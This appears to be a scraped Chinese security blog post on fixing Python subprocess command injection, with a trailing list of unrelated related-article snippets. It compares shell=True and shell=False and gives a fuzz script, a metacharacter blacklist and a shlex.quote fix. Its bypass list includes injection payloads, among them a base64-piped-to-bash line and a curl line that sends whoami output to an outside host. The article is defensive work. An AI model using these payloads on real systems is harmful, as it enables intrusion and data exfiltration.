python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全
Date:20180605
1. 前言
今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可,经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。
后来考虑,还可以做黑名单,过滤掉特殊字符,那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过,就看官方文档,发现了一个牛逼的修复方法,利用shlex.quote()在命令的参数两边加上一对单引号。
2. 测试环境
CentOS Linux release 7.3.1611 (Core)
Python 2.7.5
本文在没有特殊描述环境下,都是在以上环境测试。
3. shell值为True和False的区别
先来看看造成命令执行的代码
s=subprocess.Popen('id', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
print(s.communicate()) # 输出结果,并kill产生的新进程
当shell=True,并且第一个参数外部可控,那么就能造成任意命令执行。
3.1 shell为False
改为False,任意命令执行漏洞就会被修复。但确实是这样
>>> s=subprocess.Popen([zxsq-anti-bbcode-"ls",";id"], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
>>> s.communicate()
('', 'ls: cannot access ;id: No such file or directory\n')
这样即使;id可控,也不能任意命令执行。
执行cat /etc/passwd,如果命令要跟参数,第一个参数必须是一个list。
>>> import subprocess
>>> s=subprocess.Popen([zxsq-anti-bbcode-'cat', '/etc/passwd'], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
此时,查看python的进程情况:
[zxsq-anti-bbcode-roothome.php?mod=space&uid=193465 ~]# ps -ef | grep 24593
root 24593 24536 0 11:28 pts/0 00:00:00 python
root 24594 24593 0 11:28 pts/0 00:00:00 [zxsq-anti-bbcode-cat] <defunct>
可以看到python有一个子进程叫做(cat)。证明,shell=False是python作为父进程执行了cat这个bin文件,产生一个子进程。测试的时候,如果要kill刚产生的子进程,使用s.communicate(),并查看返回结果。
测试发现,当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死。
3.2 shell为True
import subprocess
s=subprocess.Popen('whoami | wc -l', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
可以看到,Python新建了一个叫sh的子进程,该进程执行了whoami | wc -l命令。继续执行python命令s.communicate(),刚产生的子进程就被kill了。
[zxsq-anti-bbcode-root@sec ~]# ps -ef | grep 16323
root 16323 16256 0 14:20 pts/0 00:00:00 python
root 16379 16323 0 14:26 pts/0 00:00:00 [zxsq-anti-bbcode-sh] <defunct>
所以,证明,当shell=True时,Python调用/bin/sh去执行命令。
但是有一个特例,当shell=True,执行一个没有任何参数的命令的情况和shell=False一样。说明,没有任何参数的命令,设置shell=True,并没有生效。
s=subprocess.Popen('whoami', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
再查看发现,python的子进程并没有sh,而是[zxsq-anti-bbcode-[whoami] <defunct>],所以证明了,没有任何参数的命令,设置shell=True,并没有新建一个bash去执行该命令。
[zxsq-anti-bbcode-root@sec ~]# ps -ef | grep whoami
root 16200 15484 0 14:13 pts/0 00:00:00 [zxsq-anti-bbcode-whoami] <defunct>
root 16203 11641 0 14:14 pts/1 00:00:00 grep --color=auto whoami
[zxsq-anti-bbcode-root@sec ~]# ps -ef | grep 15484
root 15484 10092 0 12:24 pts/0 00:00:00 python
root 16200 15484 0 14:13 pts/0 00:00:00 [zxsq-anti-bbcode-whoami] <defunct>
3.3 总结二者区别
比较简单粗暴的可以理解为,True用/bin/sh执行,False是Python直接调用命令,而不会通过bash。
具体的细节区别:
当执行的命令没有参数时,无论是否设置shell=True,python直接执行该命令,而不是通过/bin/sh
当shell=True,并且命令存在参数时,python调用/bin/sh执行命令
当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死
如果设置shell为False,并且想执行带参数的命令,第一个参数必须是一个list
4. Linux命令执行绕过
现在有个目标是,利用ls xx来执行id命令,xx可控。fuzz后的结果:
ls | id
ls ; id
ls & id
ls 回车 id
ls `id`
ls ` id` 前面加了一个空格
ls `\id` 反斜杠 i\d等价于id
ls $(id)
下面这几种姿势是在网上的相关paper看到的,补充下,不过还是会利用| & ;等分割符。
ls | a=i;b=d;$a$b 拼接
ls | echo aWQ=| base64 -d | bash 利用base64
ls | curl test.joychou.org/`whoami` 利用dnslog或者http web log
5. 漏洞修复
所以看来,设置shell=False并不能修复命令执行,并且还会影响我们想执行的正常命令。
那就做特殊字符过滤吧。从上面的绕过姿势来看,需要过滤的字符总结如下:
ascii为10
;
|
&
`
$
\
(
)
fuzz的代码大概如下,如果有特殊需求,还需要酌情修改。
#coding: utf-8
import subprocess
def exec_cmd(cmd):
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res_msg, res_err = p.communicate()
res = res_msg + res_err
return res
def main():
for i in range(1, 256):
cmd = 'echo 111 ' + chr(i) + ' id'
if 'uid' in exec_cmd(cmd):
print chr(i), i, cmd
for i in range(32, 126): # 可见ascii码
if chr(i) == 'u' or chr(i) == '|' or chr(i) == '&' or chr(i) == ';' or i == 10:
continue
for j in range(32, 126):
cmd = 'echo 111 ' + chr(i) + 'id' + chr(j)
if 'uid' in exec_cmd(cmd):
print chr(i), i, cmd
if __name__ == '__main__':
main()
综上,检测代码:
def check_cmd_exec(input):
'''
* input为输入字符串
* 检测到危险字符串,返回True,否则返回False
* author: JoyChou
* date: 2018-03-21
'''
res = ''
blacklist = '`$\()&;|'
for i, ch in enumerate(input):
if ord(ch) == 10 or ch in blacklist:
return True
return False
不过,话说,有没有自带比较简单粗暴的过滤函数之类的?既能保证功能正常,也能保证安全性。
6. 官方修复
最后在官方文档上看到这样一个描述:
When using shell=True, pipes.quote() can be used to properly escape whitespace and shell metacharacters in strings that are going to be used to construct shell commands.
意思就是,用pipes.quote()过滤就好了。
不过,这个库已经被官方废弃了,官方推荐使用shlex.quote()。 其实pipes.quote()和shlex.quote()这两个功能一样,都是当参数有特殊字符时,在参数两边加上一对''。
>>> a = shlex.quote('xxaa~')
>>> a
"'xxaa~'"
>>> a = shlex.quote('xxaa')
>>> a
'xxaa'
避免命令的原理,看下这个实例就懂了。
>>> filename = 'somefile; whoami'
>>> command = 'ls -l {}'.format(quote(filename))
>>> print(command)
ls -l 'somefile; whoami'
需要注意,只能用在参数上。并且Python2没有shlex,但是Python2和3都有pipes,所以想都适配就用pipes。
7. 总结
推荐两种修复方式:
shell=True,使用pipes.quote()对参数进行过滤
shell=False,参数使用list。缺点是写参数时会稍微麻烦点
8. Refrence
python直接执行代码漏洞_修复Python任意命令执行漏洞相关推荐
- php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现
0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...
- python控制台执行代码字符串_编写Python脚本以使用控制台命令执行
研究是在底部,阅读之前...谢谢.在 我必须编写一个运行SQL查询的Python脚本.我创建了一个主类,名为SQLQuery.每个SQLQuery实例表示一个查询.脚本的结构必须如下所示:class ...
- python电子相册制作代码大全_用Python和Conky做个电子相册,美化你的Linux桌面
现在手机的拍照功能日趋强大,每个人电脑上想必都至少有几十个G的照片吧.全打印出来实在是太费钱了.而闲置的旧电脑完全可以利用起来播放这些照片.下面就介绍利用Conky和Python实现随机播放相片的功能 ...
- python手写代码面试_常见Python面试题 — 手写代码系列
原标题:常见Python面试题 - 手写代码系列 作者: Peace & Love 来自:https://blog.csdn.net/u013205877/article/details/77 ...
- python函数增强代码可读性_写Python必须知道的这几个代码技巧!你会吗?
Day09 函数的初始 函数:函数是以功能为导向,一个函数封装一个功能.登录,注册,文件的改的操作... 函数减少代码的重复性,增强了代码的可读性: 获取任意一个字符串的元素的个数 s1 = &quo ...
- 修复iis解析漏洞_修复典型的iis 10漏洞并进行安全审核
修复iis解析漏洞 You will generally be in good shape using IIS 10 to securely host websites, but there are ...
- openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)
本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...
- python植物大战僵尸代码例_用Python实现植物大战僵尸游戏,很酷
以前很火的植物大战僵尸游戏, 本想在网上找个python版本游戏学习下,无奈没有发现比较完整的,那就自己来写一个把.图片资源是从github上下载的,因为图片资源有限,只能实现几种植物和僵尸. 功能实 ...
- python画圣诞树代码解读_使用Python画了一棵圣诞树的实例代码
分享给大家一篇文章,教你怎样用Python画了一棵圣诞树,快来学习. 如何用Python画一个圣诞树呢? 最简单: height = 5 stars = 1 for i in range(heig ...
最新文章
- 如何在spring中读取properties配置文件里面的信息
- NXP I.MX6ULL 交叉编译工具链下载地址?
- redux中的小bug
- java gzip 解压文件_Java实现文件压缩与解压[zip格式,gzip格式]
- mongo-express 远程代码执行漏洞(CVE-2019-10758)
- POJ-1707 Sum of powers bernoulli方程
- python语言map函数及map object at 乱码错误
- php常见预定义常量,php跨平台小结 常用预定义常量
- android数据绑定_Android数据绑定
- Zookeeper案例之分布式全局唯一ID生成
- 还在纠结用H264还是H265?大家早就在把VP9和H265作比较啦!
- exFAT硬盘写保护修复远程登录提示到期
- 计算机专业必读的经典书籍!!(建议收藏)
- CodecContext-gop_size 是什么
- 移动硬盘格式化了的数据找回方法
- 为什么建议选英文技术书籍
- SSH远程连接服务(五)
- 在线检查英文语法神器
- 光学镜头分类及相机接口(附镜头规格书)
- opencv人脸检测输出的置信率
热门文章
- iOS面试题总结 二
- Linux下安全扫描工具Nmap用法详解
- ​清除error.log、access.log并限制Apache日志文件大小的方法
- INFORMIX-4GL实用手册
- 各种系统启用snmp协议的方法
- 基于SSM实现的奶茶店会员管理系统
- HDU-3746-Cyclic Nacklace
- 部署篇01:Linux 安装配置JDK
- 深入剖析ConcurrentHashMap(1)
- 在.NET 3.5 平台上使用LINQ to SQL创建三层/多层Web应用系统(Part5) 转